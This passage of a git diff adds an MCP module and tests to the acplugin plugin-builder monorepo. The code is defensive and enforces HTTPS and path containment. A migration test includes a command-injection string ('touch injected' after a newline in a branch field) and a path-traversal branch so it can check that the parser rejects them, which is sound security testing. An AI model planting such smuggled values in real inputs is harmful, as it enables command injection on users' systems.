WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/module-mcp/README.md b/packages/module-mcp/README.md new file mode 100644 index 0000000..8df7864 --- /dev/null +++ b/packages/module-mcp/README.md @@ -0,0 +1,49 @@ +# @tokenroll/acplugin-module-mcp + +Official optional MCP Module for `@tokenroll/acplugin`. It supports portable Streamable HTTP declarations and bundled local stdio servers. + +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; +import mcp from '@tokenroll/acplugin-module-mcp'; + +export default defineConfig({ + name: 'tools-plugin', + version: '1.0.0', + description: 'Portable tools.', + modules: [mcp()], +}); +``` + +Remote server: + +```ts +// src/mcp/docs/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; + +export default defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, +}); +``` + +Local server: + +```ts +// src/mcp/local-tools/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; + +export default defineMcpServer({ + transport: 'stdio', + entry: 'server.ts', +}); +``` + +acplugin bundles local Node.js servers and emits platform declarations without reading build-time secret values. Production HTTP endpoints must use HTTPS. + +See the [MCP documentation](https://github.com/TokenRollAI/acplugin#mcp-module) for environment/header mappings and target output details. + +## License + +MIT diff --git a/packages/module-mcp/package.json b/packages/module-mcp/package.json new file mode 100644 index 0000000..8b29920 --- /dev/null +++ b/packages/module-mcp/package.json @@ -0,0 +1,29 @@ +{ + "name": "@tokenroll/acplugin-module-mcp", + "version": "1.0.0", + "description": "Portable MCP declarations and local servers for acplugin.", + "type": "module", + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#mcp-module", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/module-mcp" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public", "provenance": true }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, + "dependencies": { "rolldown": "catalog:" }, + "devDependencies": { + "@tokenroll/acplugin": "workspace:^", + "@types/node": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/module-mcp/src/index.ts b/packages/module-mcp/src/index.ts new file mode 100644 index 0000000..d9988aa --- /dev/null +++ b/packages/module-mcp/src/index.ts @@ -0,0 +1,372 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { build as rolldownBuild, type OutputChunk } from 'rolldown'; +import { + bytesArtifact, + stableJson, + type AcpluginModule, + type ArtifactInput, + type ModuleBuildContext, + type ModuleDiscoverContext, + type ModuleGenerateContext, + type ModuleValidateContext, + type TargetContribution, +} from '@tokenroll/acplugin'; + +export const MCP_MODULE_NAME = '@tokenroll/acplugin-module-mcp'; + +export type ValueSource = { value: string } | { env: string }; + +interface McpServerBase { + readonly __acpluginMcpServer: true; +} + +export interface HttpMcpServer extends McpServerBase { + transport: 'http'; + url: string; + auth?: + | { type: 'none' } + | { type: 'oauth'; scopes?: readonly string[] } + | { type: 'bearer'; env: string }; + headers?: Readonly>; +} + +export interface StdioMcpServer extends McpServerBase { + transport: 'stdio'; + entry?: string; + env?: Readonly>; +} + +export type McpServerDefinition = HttpMcpServer | StdioMcpServer; +export type McpServerInput = Omit | Omit; + +export function defineMcpServer(definition: McpServerInput): McpServerDefinition { + return Object.freeze({ ...definition, __acpluginMcpServer: true }) as McpServerDefinition; +} + +interface DiscoveredMcpServer { + id: string; + directory: string; + descriptorPath: string; + definition: McpServerDefinition; +} + +interface BuiltMcpState { + bundles: ReadonlyMap; +} + +interface BundledServer { + server: string; + licenses?: string; +} + +const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +const ENV_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; + +function unwrapDefault(value: unknown): unknown { + if (value && typeof value === 'object' && 'default' in value) + return (value as { default: unknown }).default; + return value; +} + +interface PackageLicense { + name: string; + version: string; + license: string; + notices: readonly { name: string; text: string }[]; +} + +async function packageLicenseForModule(moduleId: string): Promise { + const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); + if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) + return undefined; + let directory = path.dirname(normalized); + const root = path.parse(directory).root; + while (directory !== root) { + try { + const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { + name?: unknown; + version?: unknown; + license?: unknown; + }; + if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + const entries = await fs.readdir(directory, { withFileTypes: true }); + const noticeFiles = entries + .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) + .map(entry => entry.name) + .sort((a, b) => a.localeCompare(b, 'en')); + if (noticeFiles.length === 0) + throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); + return { + name: manifest.name, + version: manifest.version, + license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', + notices: await Promise.all(noticeFiles.map(async name => ({ + name, + text: (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(), + }))), + }; + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') + throw error; + } + directory = path.dirname(directory); + } + throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); +} + +async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { + const records = new Map(); + for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { + const record = await packageLicenseForModule(moduleId); + if (record) + records.set(`${record.name}@${record.version}`, record); + } + if (records.size === 0) + return undefined; + const sections = ['THIRD-PARTY LICENSES']; + for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { + sections.push(`## ${id}\nSPDX: ${record.license}`); + for (const notice of record.notices) + sections.push(`### ${notice.name}\n${notice.text}`); + } + const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); + await fs.writeFile(destination, `${sections.join('\n\n')}\n`); + return destination; +} + +async function discover(context: ModuleDiscoverContext): Promise { + const root = path.join(context.config.srcDir, 'mcp'); + let entries: import('node:fs').Dirent[]; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return []; + throw error; + } + + const result: DiscoveredMcpServer[] = []; + for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) { + const directory = path.join(root, entry.name); + if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { + context.diagnostics.error('MCP_ENTRY_INVALID', 'MCP entries must be one-level lowercase kebab-case directories.', { + phase: 'discover', module: MCP_MODULE_NAME, + location: { path: path.relative(context.config.root, directory).split(path.sep).join('/') }, + }); + continue; + } + const descriptorPath = path.join(directory, 'mcp.ts'); + try { + const definition = unwrapDefault(await context.loadTypeScriptModule(descriptorPath)); + if (!definition || typeof definition !== 'object' || (definition as { __acpluginMcpServer?: boolean }).__acpluginMcpServer !== true) + throw new Error('mcp.ts must default-export defineMcpServer(...).'); + result.push({ id: entry.name, directory, descriptorPath, definition: definition as McpServerDefinition }); + } catch { + context.diagnostics.error('MCP_DESCRIPTOR_LOAD_FAILED', `MCP ${entry.name} descriptor could not be loaded.`, { + phase: 'discover', module: MCP_MODULE_NAME, + location: { path: path.relative(context.config.root, descriptorPath).split(path.sep).join('/') }, + }); + } + } + return result; +} + +function validateValueSources( + values: Readonly> | undefined, + server: DiscoveredMcpServer, + context: ModuleValidateContext, +): void { + for (const [name, source] of Object.entries(values ?? {})) { + if (!name || !source || typeof source !== 'object' || (('value' in source) === ('env' in source))) { + context.diagnostics.error('MCP_VALUE_SOURCE_INVALID', `MCP value ${name || ''} must contain exactly one of value or env.`, { + phase: 'validate', module: MCP_MODULE_NAME, + location: { path: path.relative(context.config.root, server.descriptorPath).split(path.sep).join('/') }, + }); + continue; + } + if ('value' in source && typeof source.value !== 'string') + context.diagnostics.error('MCP_LITERAL_INVALID', `${name} literal must be a string.`, { phase: 'validate', module: MCP_MODULE_NAME }); + if ('env' in source && !ENV_PATTERN.test(source.env)) + context.diagnostics.error('MCP_ENV_INVALID', `${name} environment name is invalid.`, { phase: 'validate', module: MCP_MODULE_NAME }); + } +} + +async function validate(context: ModuleValidateContext, servers: DiscoveredMcpServer[]): Promise { + for (const server of servers) { + const definition = server.definition; + if (definition.transport === 'http') { + let url: URL | undefined; + try { + url = new URL(definition.url); + } catch { + context.diagnostics.error('MCP_URL_INVALID', `MCP server ${server.id} has an invalid URL.`, { phase: 'validate', module: MCP_MODULE_NAME }); + } + if (url && context.config.mode === 'production' && url.protocol !== 'https:') + context.diagnostics.error('MCP_HTTPS_REQUIRED', `MCP server ${server.id} must use HTTPS in production.`, { phase: 'validate', module: MCP_MODULE_NAME }); + if (url && context.config.mode === 'development' && url.protocol !== 'https:' && !(url.protocol === 'http:' && ['localhost', '127.0.0.1', '::1'].includes(url.hostname))) + context.diagnostics.error('MCP_HTTP_LOOPBACK_ONLY', `MCP server ${server.id} may use HTTP only on loopback in development.`, { phase: 'validate', module: MCP_MODULE_NAME }); + if (definition.auth?.type === 'bearer' && !ENV_PATTERN.test(definition.auth.env)) + context.diagnostics.error('MCP_ENV_INVALID', `MCP server ${server.id} bearer environment name is invalid.`, { phase: 'validate', module: MCP_MODULE_NAME }); + if (definition.auth?.type === 'oauth' && definition.auth.scopes?.some(scope => typeof scope !== 'string' || scope === '')) + context.diagnostics.error('MCP_OAUTH_SCOPE_INVALID', `MCP server ${server.id} OAuth scopes must be non-empty strings.`, { phase: 'validate', module: MCP_MODULE_NAME }); + validateValueSources(definition.headers, server, context); + } else if (definition.transport === 'stdio') { + const entry = path.resolve(server.directory, definition.entry ?? 'server.ts'); + const relative = path.relative(server.directory, entry); + if (relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) + context.diagnostics.error('MCP_ENTRY_ESCAPE', `MCP server ${server.id} entry must stay inside its directory.`, { phase: 'validate', module: MCP_MODULE_NAME }); + try { + const stat = await fs.lstat(entry); + if (!stat.isFile() || stat.isSymbolicLink()) + throw new Error('entry is not a regular file'); + } catch { + context.diagnostics.error('MCP_ENTRY_MISSING', `MCP server ${server.id} entry cannot be used.`, { phase: 'validate', module: MCP_MODULE_NAME }); + } + validateValueSources(definition.env, server, context); + } else { + context.diagnostics.error('MCP_TRANSPORT_UNSUPPORTED', `MCP server ${server.id} transport is unsupported.`, { phase: 'validate', module: MCP_MODULE_NAME }); + } + } +} + +async function bundleServer(entry: string, outputFile: string): Promise { + const output = await rolldownBuild({ + input: entry, + platform: 'node', + external: [/^node:/], + write: false, + output: { + format: 'esm', + sourcemap: false, + codeSplitting: false, + comments: { legal: true }, + }, + }); + const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); + const assets = output.output.filter(item => item.type === 'asset'); + if (chunks.length !== 1 || assets.length !== 0) + throw new Error('Local MCP server must bundle to exactly one JavaScript chunk and no assets.'); + await fs.mkdir(path.dirname(outputFile), { recursive: true }); + await fs.writeFile(outputFile, chunks[0]!.code); + const licenses = await writeThirdPartyLicenses(chunks[0]!, path.dirname(outputFile)); + return licenses ? { server: outputFile, licenses } : { server: outputFile }; +} + +async function build(context: ModuleBuildContext, servers: DiscoveredMcpServer[]): Promise { + const bundles = new Map(); + for (const server of servers) { + if (server.definition.transport !== 'stdio') + continue; + const entry = path.resolve(server.directory, server.definition.entry ?? 'server.ts'); + const output = path.join(context.workDir, server.id, 'server.mjs'); + bundles.set(server.id, await bundleServer(entry, output)); + } + return { bundles }; +} + +function mapValues(values: Readonly> | undefined): { + literal: Record; + environment: Record; +} { + const literal: Record = {}; + const environment: Record = {}; + for (const [name, source] of Object.entries(values ?? {}).sort(([a], [b]) => a.localeCompare(b, 'en'))) { + if ('value' in source) + literal[name] = source.value; + else + environment[name] = source.env; + } + return { literal, environment }; +} + +function claudeDescriptor(server: DiscoveredMcpServer): Record { + const definition = server.definition; + if (definition.transport === 'stdio') { + const values = mapValues(definition.env); + return { + type: 'stdio', + command: 'node', + args: [`\${CLAUDE_PLUGIN_ROOT}/mcp/${server.id}/server.mjs`], + env: { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), + }, + }; + } + const values = mapValues(definition.headers); + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), + }; + if (definition.auth?.type === 'bearer') + headers.Authorization = `Bearer \${${definition.auth.env}}`; + return { + type: 'http', + url: definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes?.length + ? { oauth: { scopes: definition.auth.scopes.join(' ') } } + : {}), + }; +} + +function codexDescriptor(server: DiscoveredMcpServer): Record { + const definition = server.definition; + if (definition.transport === 'stdio') { + const values = mapValues(definition.env); + return { + command: 'node', + args: [`./mcp/${server.id}/server.mjs`], + cwd: '.', + ...(Object.keys(values.literal).length === 0 ? {} : { env: values.literal }), + ...(Object.keys(values.environment).length === 0 ? {} : { env_vars: Object.values(values.environment).sort() }), + }; + } + const values = mapValues(definition.headers); + return { + url: definition.url, + ...(definition.auth?.type === 'bearer' ? { bearer_token_env_var: definition.auth.env } : {}), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes?.length ? { scopes: definition.auth.scopes } : {}), + ...(Object.keys(values.literal).length === 0 ? {} : { http_headers: values.literal }), + ...(Object.keys(values.environment).length === 0 ? {} : { env_http_headers: values.environment }), + }; +} + +async function generate( + context: ModuleGenerateContext, + servers: DiscoveredMcpServer[], + built: BuiltMcpState, +): Promise { + if (servers.length === 0) + return {}; + const artifacts: ArtifactInput[] = []; + for (const [id, bundle] of built.bundles) { + artifacts.push({ path: `mcp/${id}/server.mjs`, source: { type: 'file', path: bundle.server }, mode: 0o755 }); + if (bundle.licenses) + artifacts.push({ path: `mcp/${id}/THIRD_PARTY_LICENSES.txt`, source: { type: 'file', path: bundle.licenses }, mode: 0o644 }); + } + + if (context.target === 'claude-code') { + const mcpServers = Object.fromEntries(servers.map(server => [server.id, claudeDescriptor(server)])); + artifacts.push(bytesArtifact('.mcp.json', stableJson({ mcpServers }))); + return { artifacts }; + } + + const serverMap = Object.fromEntries(servers.map(server => [server.id, codexDescriptor(server)])); + artifacts.push(bytesArtifact('.mcp.json', stableJson(serverMap))); + return { artifacts, manifestFields: { mcpServers: './.mcp.json' } }; +} + +export function mcp(): AcpluginModule { + return { + name: MCP_MODULE_NAME, + discover, + validate, + build, + generate, + }; +} + +export default mcp; diff --git a/packages/module-mcp/tsconfig.json b/packages/module-mcp/tsconfig.json new file mode 100644 index 0000000..6ece4d3 --- /dev/null +++ b/packages/module-mcp/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/module-mcp/tsdown.config.ts b/packages/module-mcp/tsdown.config.ts new file mode 100644 index 0000000..510566b --- /dev/null +++ b/packages/module-mcp/tsdown.config.ts @@ -0,0 +1,15 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, + publint: true, + attw: { profile: 'esm-only', level: 'error' }, + deps: { neverBundle: ['@tokenroll/acplugin'] }, +}); diff --git a/test-fixture/.claude/agents/code-reviewer.md b/packages/test/fixtures/migration/claude-project/.claude/agents/code-reviewer.md similarity index 100% rename from test-fixture/.claude/agents/code-reviewer.md rename to packages/test/fixtures/migration/claude-project/.claude/agents/code-reviewer.md diff --git a/test-fixture/.claude/commands/deploy.md b/packages/test/fixtures/migration/claude-project/.claude/commands/deploy.md similarity index 100% rename from test-fixture/.claude/commands/deploy.md rename to packages/test/fixtures/migration/claude-project/.claude/commands/deploy.md diff --git a/test-fixture/.claude/rules/testing.md b/packages/test/fixtures/migration/claude-project/.claude/rules/testing.md similarity index 100% rename from test-fixture/.claude/rules/testing.md rename to packages/test/fixtures/migration/claude-project/.claude/rules/testing.md diff --git a/test-fixture/.claude/settings.json b/packages/test/fixtures/migration/claude-project/.claude/settings.json similarity index 100% rename from test-fixture/.claude/settings.json rename to packages/test/fixtures/migration/claude-project/.claude/settings.json diff --git a/test-fixture/.claude/skills/my-skill/SKILL.md b/packages/test/fixtures/migration/claude-project/.claude/skills/my-skill/SKILL.md similarity index 100% rename from test-fixture/.claude/skills/my-skill/SKILL.md rename to packages/test/fixtures/migration/claude-project/.claude/skills/my-skill/SKILL.md diff --git a/test-fixture/.mcp.json b/packages/test/fixtures/migration/claude-project/.mcp.json similarity index 100% rename from test-fixture/.mcp.json rename to packages/test/fixtures/migration/claude-project/.mcp.json diff --git a/test-fixture/CLAUDE.md b/packages/test/fixtures/migration/claude-project/CLAUDE.md similarity index 100% rename from test-fixture/CLAUDE.md rename to packages/test/fixtures/migration/claude-project/CLAUDE.md diff --git a/packages/test/package.json b/packages/test/package.json new file mode 100644 index 0000000..8a9a80a --- /dev/null +++ b/packages/test/package.json @@ -0,0 +1,26 @@ +{ + "name": "@acplugin/test", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "scripts": { + "pretest": "pnpm --filter \"...@tokenroll/acplugin\" run build", + "test": "vitest run", + "test:watch": "vitest", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { + "@acplugin/compiler-claude-code": "workspace:*", + "@acplugin/compiler-codex": "workspace:*", + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:*", + "@tokenroll/acplugin-module-hooks": "workspace:*", + "@tokenroll/acplugin-module-mcp": "workspace:*" + }, + "devDependencies": { + "@types/node": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts new file mode 100644 index 0000000..eaa48e2 --- /dev/null +++ b/packages/test/test/build.test.ts @@ -0,0 +1,55 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { runProject } from '@tokenroll/acplugin'; + +const roots: string[] = []; + +async function project(config = ''): Promise { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-build-test-')); + roots.push(root); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), '---\ndescription: Say hello.\n---\nSay hello to the user.\n'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), config || `export default { + name: 'hello-plugin', + version: '1.0.0', + description: 'Hello plugin.', + }`); + return root; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('unified pipeline', () => { + it('validates without committing and builds both default targets atomically', async () => { + const root = await project(); + const validate = await runProject({ cwd: root, command: 'validate', mode: 'production', commit: false }); + + expect(validate.report.success).toBe(true); + expect(validate.report.committed).toBe(false); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + + const build = await runProject({ cwd: root, command: 'build', mode: 'production', commit: true }); + expect(build.report.success).toBe(true); + expect(build.report.committed).toBe(true); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/.claude-plugin/plugin.json'), 'utf8'))).toMatchObject({ name: 'hello-plugin' }); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.codex-plugin/plugin.json'), 'utf8'))).toMatchObject({ skills: './skills/' }); + }); + + it('fails strict Codex compatibility for Agents and succeeds when relaxed', async () => { + const root = await project(); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review changes.\n---\nReview changes carefully.\n'); + + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production', targets: ['codex'], strict: true }); + expect(strict.report.success).toBe(false); + expect(strict.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + + const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', targets: ['codex'], strict: false }); + expect(relaxed.report.success).toBe(true); + expect(relaxed.report.compatibility).toContainEqual(expect.objectContaining({ subject: 'agent:reviewer', level: 'degraded' })); + }); +}); diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts new file mode 100644 index 0000000..e383bef --- /dev/null +++ b/packages/test/test/cli.test.ts @@ -0,0 +1,178 @@ +import { spawn, type ChildProcessWithoutNullStreams } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; + +const cli = path.resolve(import.meta.dirname, '../../acplugin/dist/cli.mjs'); +const roots: string[] = []; +const children = new Set(); + +interface RunningCli { + child: ChildProcessWithoutNullStreams; + stdout(): string; + stderr(): string; +} + +async function temporaryProject(): Promise { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cli-test-')); + roots.push(root); + return root; +} + +function startCli(args: readonly string[], cwd: string): RunningCli { + const child = spawn(process.execPath, [cli, ...args], { + cwd, + stdio: ['pipe', 'pipe', 'pipe'], + env: { ...process.env, NO_COLOR: '1' }, + }); + children.add(child); + let stdout = ''; + let stderr = ''; + child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); + child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); + child.once('close', () => children.delete(child)); + return { child, stdout: () => stdout, stderr: () => stderr }; +} + +async function waitForExit(running: RunningCli): Promise<{ code: number | null; stdout: string; stderr: string }> { + const code = await new Promise((resolve, reject) => { + running.child.once('error', reject); + running.child.once('close', resolve); + }); + return { code, stdout: running.stdout(), stderr: running.stderr() }; +} + +async function runCli(args: readonly string[], cwd: string): Promise<{ code: number | null; stdout: string; stderr: string }> { + const running = startCli(args, cwd); + running.child.stdin.end(); + return waitForExit(running); +} + +async function waitForOutput( + running: RunningCli, + predicate: (stdout: string, stderr: string) => boolean, + description: string, +): Promise { + if (predicate(running.stdout(), running.stderr())) + return; + await new Promise((resolve, reject) => { + const timeout = setTimeout(() => finish(new Error(`Timed out waiting for ${description}.\nstdout:\n${running.stdout()}\nstderr:\n${running.stderr()}`)), 10_000); + const check = (): void => { + if (predicate(running.stdout(), running.stderr())) + finish(); + }; + const closed = (code: number | null): void => finish(new Error(`CLI exited with ${code} while waiting for ${description}.`)); + const finish = (error?: Error): void => { + clearTimeout(timeout); + running.child.stdout.off('data', check); + running.child.stderr.off('data', check); + running.child.off('close', closed); + if (error) + reject(error); + else + resolve(); + }; + running.child.stdout.on('data', check); + running.child.stderr.on('data', check); + running.child.once('close', closed); + }); +} + +async function writeValidProject(root: string): Promise { + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'CLI fixture.', +};\n`); + await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), `--- +description: Say hello. +--- +Say hello. +`); +} + +afterEach(async () => { + for (const child of children) + child.kill('SIGKILL'); + children.clear(); + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe.sequential('CLI subprocess contract', () => { + it('prints Help without prompting and classifies usage errors as exit 2', async () => { + const root = await temporaryProject(); + const help = await runCli([], root); + expect(help).toMatchObject({ code: 0, stderr: '' }); + expect(help.stdout).toContain('Usage: acplugin'); + expect(help.stdout).not.toContain('?'); + + const usage = await runCli(['build', '--target', 'unknown'], root); + expect(usage.code).toBe(2); + expect(usage.stderr).toContain('Allowed choices are claude-code, codex'); + }); + + it('emits one JSON document and exit 1 for project configuration errors', async () => { + const root = await temporaryProject(); + const result = await runCli(['validate', '--json'], root); + + expect(result.code).toBe(1); + expect(result.stderr).toBe(''); + expect(JSON.parse(result.stdout)).toMatchObject({ + schemaVersion: '1', + command: 'validate', + success: false, + diagnostics: [{ code: 'CONFIG_LOAD_FAILED', severity: 'error', phase: 'config' }], + }); + }); + + it('shares the pipeline while only build commits output', async () => { + const root = await temporaryProject(); + await writeValidProject(root); + + const validate = await runCli(['validate', '--json'], root); + expect(validate.code).toBe(0); + expect(JSON.parse(validate.stdout)).toMatchObject({ success: true, committed: false, artifacts: [] }); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + + const inspect = await runCli(['inspect', '--json'], root); + expect(inspect.code).toBe(0); + expect(JSON.parse(inspect.stdout).artifacts.length).toBeGreaterThan(0); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + + const build = await runCli(['build', '--json'], root); + expect(build.code).toBe(0); + expect(JSON.parse(build.stdout)).toMatchObject({ success: true, committed: true }); + await fs.access(path.join(root, 'dist/codex/.codex-plugin/plugin.json')); + }); + + it('retains the last successful dev output, recovers, and exits 130 on SIGINT', async () => { + const root = await temporaryProject(); + await writeValidProject(root); + const skill = path.join(root, 'src/skills/hello/SKILL.md'); + const generated = path.join(root, 'dist/codex/skills/hello/SKILL.md'); + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial dev build'); + const initial = await fs.readFile(generated, 'utf8'); + + await fs.writeFile(skill, 'invalid without frontmatter\n'); + await waitForOutput(running, (_stdout, stderr) => stderr.includes('FRONTMATTER_REQUIRED'), 'failed rebuild diagnostic'); + expect(await fs.readFile(generated, 'utf8')).toBe(initial); + + await fs.writeFile(skill, `--- +description: Say hello again. +--- +Say hello after recovery. +`); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'recovery build'); + expect(await fs.readFile(generated, 'utf8')).toContain('Say hello after recovery.'); + + running.child.kill('SIGINT'); + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + expect((await fs.readdir(root)).filter(name => name.startsWith('.acplugin-work-'))).toEqual([]); + expect((await fs.readdir(root)).filter(name => name.includes('.acplugin.lock'))).toEqual([]); + }); +}); diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts new file mode 100644 index 0000000..e034f0f --- /dev/null +++ b/packages/test/test/init.test.ts @@ -0,0 +1,44 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { initializeProject } from '@tokenroll/acplugin'; + +const roots: string[] = []; + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('init', () => { + it('creates the minimal strict dual-target project without fake Module source', async () => { + const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); + roots.push(cwd); + const result = await initializeProject({ cwd, directory: 'demo-plugin', yes: true }); + + expect(result.directory).toBe('demo-plugin'); + expect(result.modules).toEqual([]); + expect(await fs.readFile(path.join(cwd, 'demo-plugin/src/skills/demo-plugin/SKILL.md'), 'utf8')).toContain('description:'); + }); + + it('adds selected Modules without generating fake handlers or servers', async () => { + const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); + roots.push(cwd); + await initializeProject({ cwd, directory: 'module-plugin', yes: true, hooks: true, mcp: true }); + const project = path.join(cwd, 'module-plugin'); + + expect(await fs.readFile(path.join(project, 'acplugin.config.ts'), 'utf8')).toContain('modules: [hooks(), mcp()]'); + await expect(fs.access(path.join(project, 'src/hooks'))).rejects.toThrow(); + await expect(fs.access(path.join(project, 'src/mcp'))).rejects.toThrow(); + }); + + it('refuses a non-empty destination', async () => { + const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); + roots.push(cwd); + await fs.mkdir(path.join(cwd, 'existing')); + await fs.writeFile(path.join(cwd, 'existing/user.txt'), 'keep'); + + await expect(initializeProject({ cwd, directory: 'existing', yes: true })).rejects.toThrow('not empty'); + expect(await fs.readFile(path.join(cwd, 'existing/user.txt'), 'utf8')).toBe('keep'); + }); +}); diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts new file mode 100644 index 0000000..76a4141 --- /dev/null +++ b/packages/test/test/migration.test.ts @@ -0,0 +1,180 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { migrate } from '../../acplugin/src/migration/index.js'; +import { parseGitHubSource } from '../../acplugin/src/migration/legacy/github.js'; + +const roots: string[] = []; +const legacyProjectFixture = path.resolve(import.meta.dirname, '../fixtures/migration/claude-project'); + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('legacy Migration', () => { + it('rejects GitHub command/path injection before download', () => { + expect(() => parseGitHubSource('github:owner/repo#main\ntouch injected')).toThrow('branch is invalid'); + expect(() => parseGitHubSource('github:owner/repo#../../../../user')).toThrow('branch is invalid'); + expect(() => 